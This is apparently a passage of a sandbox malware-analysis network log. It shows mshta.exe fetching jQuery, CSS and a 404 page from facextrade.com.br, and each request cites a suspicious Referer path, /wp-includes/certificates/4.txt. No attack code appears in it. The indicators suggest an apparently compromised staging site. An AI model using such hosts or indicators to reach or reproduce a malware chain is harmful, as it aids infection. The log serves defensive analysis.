Aug 16, 2022 11:44:55.206707954 CEST	1933	IN	Data Raw: 37 38 38 39 39 37 32 39 36 32 25 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 20 2e 6d 70 2d 6f 66 66 73 65 74 31 32 3a 66 69 72 73 74 2d 63 68 69 6c 64 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 32 2e 37 36 32 34 33 30 39 33 39 32 32 36 35 32 25 Data Ascii: 7889972962%}.mp-row-fluid .mp-offset12:first-child{margin-left:102.76243093922652%;margin-left:102.6560479605031%}.mp-row-fluid .mp-offset11{margin-left:96.96132596685082%;margin-left:96.8549429881274%}.mp-row-fluid .mp-offset11:first-child{
Aug 16, 2022 11:44:55.206875086 CEST	1934	IN	Data Raw: 35 31 34 31 37 25 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 20 2e 6d 70 2d 6f 66 66 73 65 74 35 3a 66 69 72 73 74 2d 63 68 69 6c 64 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 32 2e 38 31 37 36 37 39 35 35 38 30 31 31 30 35 25 3b 2a 6d 61 72 67 69 Data Ascii: 51417%}.mp-row-fluid .mp-offset5:first-child{margin-left:42.81767955801105%;margin-left:42.71129657928765%}.mp-row-fluid .mp-offset4{margin-left:37.01657458563536%;margin-left:36.91019160691196%}.mp-row-fluid .mp-offset4:first-child{margin-l
Aug 16, 2022 11:44:55.207037926 CEST	1936	IN	Data Raw: 2e 6d 70 2d 73 70 61 6e 32 7b 77 69 64 74 68 3a 31 37 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 31 7b 77 69 64 74 68 3a 37 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 31 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 32 33 30 70 78 7d 2e 6d 70 2d 6f 66 66 Data Ascii: .mp-span2{width:170px}.mp-span1{width:70px}.mp-offset12{margin-left:1230px}.mp-offset11{margin-left:1130px}.mp-offset10{margin-left:1030px}.mp-offset9{margin-left:930px}.mp-offset8{margin-left:830px}.mp-offset7{margin-left:730px}.mp-offset6{ma
Aug 16, 2022 11:44:55.207144976 CEST	1937	IN	Data Raw: 36 36 34 37 35 37 32 32 38 35 38 37 30 31 34 25 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 20 2e 6d 70 2d 73 70 61 6e 35 7b 77 69 64 74 68 3a 34 30 2e 31 37 30 39 34 30 31 37 30 39 34 30 31 37 25 3b 2a 77 69 64 74 68 3a 34 30 2e 31 31 37 37 34 38 Data Ascii: 664757228587014%}.mp-row-fluid .mp-span5{width:40.17094017094017%;width:40.11774868157847%}.mp-row-fluid .mp-span4{width:31.623931623931625%;width:31.570740134569924%}.mp-row-fluid .mp-span3{width:23.076923076923077%;*width:23.02373158756137
Aug 16, 2022 11:44:55.454392910 CEST	1939	IN	Data Raw: 36 38 2e 32 36 39 36 38 35 33 39 37 33 34 34 39 37 25 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 20 2e 6d 70 2d 6f 66 66 73 65 74 37 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 36 32 2e 33 39 33 31 36 32 33 39 33 31 36 32 33 38 35 25 3b 2a 6d 61 72 67 Data Ascii: 68.26968539734497%}.mp-row-fluid .mp-offset7{margin-left:62.393162393162385%;margin-left:62.28677941443899%}.mp-row-fluid .mp-offset7:first-child{margin-left:59.82905982905982%;margin-left:59.72267685033642%}.mp-row-fluid .mp-offset6{margin-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.5	49789	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:44:55.689536095 CEST	1957	OUT	GET /wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:55.928462029 CEST	1972	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:36 GMT Server: Apache ETag: "a534c3-17278-58592d497f080" Last-Modified: Tue, 02 Apr 2019 21:29:22 GMT Content-Length: 94840 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383396 21929780 Age: 319 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 31 2e 37 2e 32 20 6a 71 75 65 72 79 2e 63 6f 6d 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 75 6e 63 74 69 6f 6e 20 63 79 28 61 29 7b 72 65 74 75 72 6e 20 66 2e 69 73 57 69 6e 64 6f 77 28 61 29 3f 61 3a 61 2e 6e 6f 64 65 54 79 70 65 3d 3d 3d 39 3f 61 2e 64 65 66 61 75 6c 74 56 69 65 77 7c 7c 61 2e 70 61 72 65 6e 74 57 69 6e 64 6f 77 3a 21 31 7d 66 75 6e 63 74 69 6f 6e 20 63 75 28 61 29 7b 69 66 28 21 63 6a 5b 61 5d 29 7b 76 61 72 20 62 3d 63 2e 62 6f 64 79 2c 64 3d 66 28 22 3c 22 2b 61 2b 22 3e 22 29 2e 61 70 70 65 6e 64 54 6f 28 62 29 2c 65 3d 64 2e 63 73 73 28 22 64 69 73 70 6c 61 79 22 29 3b 64 2e 72 65 6d 6f 76 65 28 29 3b 69 66 28 65 3d 3d 3d 22 6e 6f 6e 65 22 7c 7c 65 3d 3d 3d 22 22 29 7b 63 6b 7c 7c 28 63 6b 3d 63 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 2c 63 6b 2e 66 72 61 6d 65 42 6f 72 64 65 72 3d 63 6b 2e 77 69 64 74 68 3d 63 6b 2e 68 65 69 67 68 74 3d 30 29 2c 62 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 6b 29 3b 69 66 28 21 63 6c 7c 7c 21 63 6b 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 29 63 6c 3d 28 63 6b 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 7c 7c 63 6b 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 29 2e 64 6f 63 75 6d 65 6e 74 2c 63 6c 2e 77 72 69 74 65 28 28 66 2e 73 75 70 70 6f 72 74 2e 62 6f 78 4d 6f 64 65 6c 3f 22 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 22 3a 22 22 29 2b 22 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 22 29 2c 63 6c 2e 63 6c 6f 73 65 28 29 3b 64 3d 63 6c 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 61 29 2c 63 6c 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 64 29 2c 65 3d 66 2e 63 73 73 28 64 2c 22 64 69 73 70 6c 61 79 22 29 2c 62 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 63 6b 29 7d 63 6a 5b 61 5d 3d 65 7d 72 65 74 75 72 6e 20 63 6a 5b 61 5d 7d 66 75 6e 63 74 69 6f 6e 20 63 74 28 61 2c 62 29 7b 76 61 72 20 63 3d 7b 7d 3b 66 2e 65 61 63 68 28 63 70 2e 63 6f 6e 63 61 74 2e 61 70 70 6c 79 28 5b 5d 2c 63 70 2e 73 6c 69 63 65 28 30 2c 62 29 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 63 5b 74 68 69 73 5d 3d 61 7d 29 3b 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 63 73 28 29 7b 63 71 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 63 72 28 29 7b 73 65 74 54 69 6d 65 6f 75 74 28 63 73 2c 30 29 3b 72 65 74 75 72 6e 20 63 71 3d 66 2e 6e 6f 77 28 29 7d 66 75 6e 63 74 69 6f 6e 20 63 69 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 77 20 61 2e 41 63 74 69 76 65 58 4f 62 6a 65 63 74 28 22 4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50 22 29 7d 63 61 74 63 68 28 62 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 63 68 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 77 20 61 2e 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 7d 63 61 74 63 68 28 62 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 63 62 28 61 2c 63 29 7b 61 2e 64 61 74 Data Ascii: /! jQuery v1.7.2 jquery.com \| jquery.org/license /(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView\|\|a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"\|\|e===""){ck\|\|(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl\|\|!ck.createElement)cl=(ck.contentWindow\|\|ck.contentDocument).document,cl.write((f.support.boxModel?"<!doctype html>":"")+"<html><body>"),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,"display"),b.removeChild(ck)}cj[a]=e}return cj[a]}function ct(a,b){var c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function cs(){cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function cb(a,c){a.dat
Aug 16, 2022 11:44:55.928657055 CEST	1974	IN	Data Raw: 61 46 69 6c 74 65 72 26 26 28 63 3d 61 2e 64 61 74 61 46 69 6c 74 65 72 28 63 2c 61 2e 64 61 74 61 54 79 70 65 29 29 3b 76 61 72 20 64 3d 61 2e 64 61 74 61 54 79 70 65 73 2c 65 3d 7b 7d 2c 67 2c 68 2c 69 3d 64 2e 6c 65 6e 67 74 68 2c 6a 2c 6b 3d Data Ascii: aFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g<i;g++){if(g===1)for(h in a.converters)typeof h=="string"&&(e[h.toLowerCase()]=a.converters[h]);l=k,k=d[g];if(k==="")k=l;else if(l!==""
Aug 16, 2022 11:44:55.928754091 CEST	1975	IN	Data Raw: 62 53 2c 6c 3b 66 6f 72 28 3b 69 3c 6a 26 26 28 6b 7c 7c 21 6c 29 3b 69 2b 2b 29 6c 3d 68 5b 69 5d 28 63 2c 64 2c 65 29 2c 74 79 70 65 6f 66 20 6c 3d 3d 22 73 74 72 69 6e 67 22 26 26 28 21 6b 7c 7c 67 5b 6c 5d 3f 6c 3d 62 3a 28 63 2e 64 61 74 61 Data Ascii: bS,l;for(;i<j&&(k\|\|!l);i++)l=h[i](c,d,e),typeof l=="string"&&(!k\|\|g[l]?l=b:(c.dataTypes.unshift(l),l=bZ(a,c,d,e,l,g)));(k\|\|!l)&&!g[""]&&(l=bZ(a,c,d,e,"",g));return l}function bY(a){return function(b,c){typeof b!="string"&&(c=b,b="*");if(f.is
Aug 16, 2022 11:44:55.928991079 CEST	1977	IN	Data Raw: 69 6f 6e 20 62 6c 28 61 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 Data Ascii: ion bl(a){return typeof a.getElementsByTagName!="undefined"?a.getElementsByTagName(""):typeof a.querySelectorAll!="undefined"?a.querySelectorAll(""):[]}function bk(a,b){var c;b.nodeType===1&&(b.clearAttributes&&b.clearAttributes(),b.mergeAtt
Aug 16, 2022 11:44:55.929155111 CEST	1978	IN	Data Raw: 6e 20 65 3d 3d 3d 63 7d 29 3b 69 66 28 62 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 20 66 2e 67 72 65 70 28 61 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 64 29 7b 72 65 74 75 72 6e 20 61 3d 3d 3d 62 3d 3d 3d 63 7d 29 3b 69 66 28 74 79 70 65 6f 66 Data Ascii: n e===c});if(b.nodeType)return f.grep(a,function(a,d){return a===b===c});if(typeof b=="string"){var d=f.grep(a,function(a){return a.nodeType===1});if(O.test(b))return f.filter(b,d,!c);b=f.filter(b,d)}return f.grep(a,function(a,d){return f.inAr
Aug 16, 2022 11:44:55.929403067 CEST	1979	IN	Data Raw: 28 5b 5c 77 5c 2d 5d 2a 29 24 29 2f 2c 6a 3d 2f 5c 53 2f 2c 6b 3d 2f 5e 5c 73 2b 2f 2c 6c 3d 2f 5c 73 2b 24 2f 2c 6d 3d 2f 5e 3c 28 5c 77 2b 29 5c 73 2a 5c 2f 3f 3e 28 3f 3a 3c 5c 2f 5c 31 3e 29 3f 24 2f 2c 6e 3d 2f 5e 5b 5c 5d 2c 3a 7b 7d 5c 73 Data Ascii: ([\w\-])$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/^<(\w+)\s\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]$/,o=/\\(?:["\\\/bfnrt]\|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]"\|true\|false\|null\|-?\d+(?:\.\d)?(?:[eE][+\-]?\d+)?/g,q=/(?:^\|:\|,)(?:\s\[)+/g,r=/(webkit)[ \/]([\w.]
Aug 16, 2022 11:44:55.929589033 CEST	1981	IN	Data Raw: 67 74 68 3d 31 2c 74 68 69 73 5b 30 5d 3d 68 7d 74 68 69 73 2e 63 6f 6e 74 65 78 74 3d 63 2c 74 68 69 73 2e 73 65 6c 65 63 74 6f 72 3d 61 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 72 65 74 75 72 6e 21 64 7c 7c 64 2e 6a 71 75 65 72 79 3f 28 64 7c 7c Data Ascii: gth=1,this[0]=h}this.context=c,this.selector=a;return this}return!d\|\|d.jquery?(d\|\|f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(
Aug 16, 2022 11:44:55.929879904 CEST	1982	IN	Data Raw: 31 3b 74 79 70 65 6f 66 20 69 3d 3d 22 62 6f 6f 6c 65 61 6e 22 26 26 28 6c 3d 69 2c 69 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 7c 7c 7b 7d 2c 6a 3d 32 29 2c 74 79 70 65 6f 66 20 69 21 3d 22 6f 62 6a 65 63 74 22 26 26 21 65 2e 69 73 46 75 6e 63 74 Data Ascii: 1;typeof i=="boolean"&&(l=i,i=arguments[1]\|\|{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j<k;j++)if((a=arguments[j])!=null)for(c in a){d=i[c],f=a[c];if(i===f)continue;l&&f&&(e.isPlainObject(f)\|\|(g=e.isArray(f))
Aug 16, 2022 11:44:55.930147886 CEST	1984	IN	Data Raw: 70 61 72 73 65 46 6c 6f 61 74 28 61 29 29 26 26 69 73 46 69 6e 69 74 65 28 61 29 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3d 3d 6e 75 6c 6c 3f 53 74 72 69 6e 67 28 61 29 3a 49 5b 43 2e 63 61 6c 6c 28 61 29 Data Ascii: parseFloat(a))&&isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]\|\|"object"},isPlainObject:function(a){if(!a\|\|e.type(a)!=="object"\|\|a.nodeType\|\|e.isWindow(a))return!1;try{if(a.constructor&&!D.call(a,"constructor")&&!D.call(a.
Aug 16, 2022 11:44:55.930444956 CEST	1985	IN	Data Raw: 61 29 3b 69 66 28 64 29 7b 69 66 28 69 29 7b 66 6f 72 28 66 20 69 6e 20 61 29 69 66 28 63 2e 61 70 70 6c 79 28 61 5b 66 5d 2c 64 29 3d 3d 3d 21 31 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 3b 67 3c 68 3b 29 69 66 28 63 2e 61 70 70 6c 79 28 Data Ascii: a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g<h;)if(c.apply(a[g++],d)===!1)break}else if(i){for(f in a)if(c.call(a[f],f,a[f])===!1)break}else for(;g<h;)if(c.call(a[g],g,a[g++])===!1)break;return a},trim:G?function(a){retu
Aug 16, 2022 11:44:56.160928011 CEST	1991	IN	Data Raw: 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 2e 61 70 70 6c 79 28 63 2c 66 2e 63 6f 6e 63 61 74 28 46 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 29 29 29 7d 3b 67 2e 67 75 69 64 3d 61 2e 67 75 69 64 3d 61 2e 67 75 69 64 7c 7c 67 2e 67 75 Data Ascii: nction(){return a.apply(c,f.concat(F.call(arguments)))};g.guid=a.guid=a.guid\|\|g.guid\|\|e.guid++;return g},access:function(a,c,d,f,g,h,i){var j,k=d==null,l=0,m=a.length;if(d&&typeof d=="object"){for(l in d)e.access(a,c,l,d[l],1,h,f);g=1}else if(
Aug 16, 2022 11:44:56.642304897 CEST	2086	OUT	GET /wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:57.800518990 CEST	2114	IN	HTTP/1.1 404 Not Found Date: Tue, 16 Aug 2022 09:44:56 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/" Content-Type: text/html; charset=UTF-8 X-Varnish: 20383398 Age: 0 Via: 1.1 varnish-v4 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 Data Ascii: 00104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)\|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found \| Facex</title><meta name="description" content=" » Pgina no encontrada \| Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alt

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.5	49790	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:44:55.816940069 CEST	1971	OUT	GET /wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:56.045192957 CEST	1986	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:37 GMT Server: Apache ETag: "a4faba-ce4-58592ec326b80" Last-Modified: Tue, 02 Apr 2019 21:35:58 GMT Content-Length: 3300 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 17003363 15075244 Age: 318 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 2e 6a 73 77 69 6e 67 3d 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 2e 73 77 69 6e 67 3b 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 2c 7b 64 65 66 3a 22 65 61 73 65 4f 75 74 51 75 61 64 22 2c 73 77 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 5b 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 2e 64 65 66 5d 28 65 2c 61 2c 63 2c 62 2c 64 29 7d 2c 65 61 73 65 49 6e 51 75 61 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 61 2f 3d 64 29 2a 61 2b 63 7d 2c 65 61 73 65 4f 75 74 51 75 61 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 2d 62 2a 28 61 2f 3d 64 29 2a 28 61 2d 32 29 2b 63 7d 2c 65 61 73 65 49 6e 4f 75 74 51 75 61 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 31 3e 28 61 2f 3d 64 2f 32 29 3f 62 2f 32 2a 61 2a 61 2b 63 3a 2d 62 2f 32 2a 28 2d 2d 61 2a 28 61 2d 32 29 2d 31 29 2b 63 7d 2c 65 61 73 65 49 6e 43 75 62 69 63 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 61 2f 3d 64 29 2a 61 2a 61 2b 63 7d 2c 65 61 73 65 4f 75 74 43 75 62 69 63 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 28 61 3d 61 2f 64 2d 31 29 2a 61 2a 61 2b 31 29 2b 63 7d 2c 65 61 73 65 49 6e 4f 75 74 43 75 62 69 63 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 31 3e 28 61 2f 3d 64 2f 32 29 3f 62 2f 32 2a 61 2a 61 2a 61 2b 63 3a 0a 62 2f 32 2a 28 28 61 2d 3d 32 29 2a 61 2a 61 2b 32 29 2b 63 7d 2c 65 61 73 65 49 6e 51 75 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 61 2f 3d 64 29 2a 61 2a 61 2a 61 2b 63 7d 2c 65 61 73 65 4f 75 74 51 75 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 2d 62 2a 28 28 61 3d 61 2f 64 2d 31 29 2a 61 2a 61 2a 61 2d 31 29 2b 63 7d 2c 65 61 73 65 49 6e 4f 75 74 51 75 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 31 3e 28 61 2f 3d 64 2f 32 29 3f 62 2f 32 2a 61 2a 61 2a 61 2a 61 2b 63 3a 2d 62 2f 32 2a 28 28 61 2d 3d 32 29 2a 61 2a 61 2a 61 2d 32 29 2b 63 7d 2c 65 61 73 65 49 6e 51 75 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 61 2f 3d 64 29 2a 61 2a 61 2a 61 2a 61 2b 63 7d 2c 65 61 73 65 4f 75 74 51 75 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 28 61 3d 61 2f 64 2d 31 29 2a 61 2a 61 2a 61 2a 61 2b 31 29 2b 63 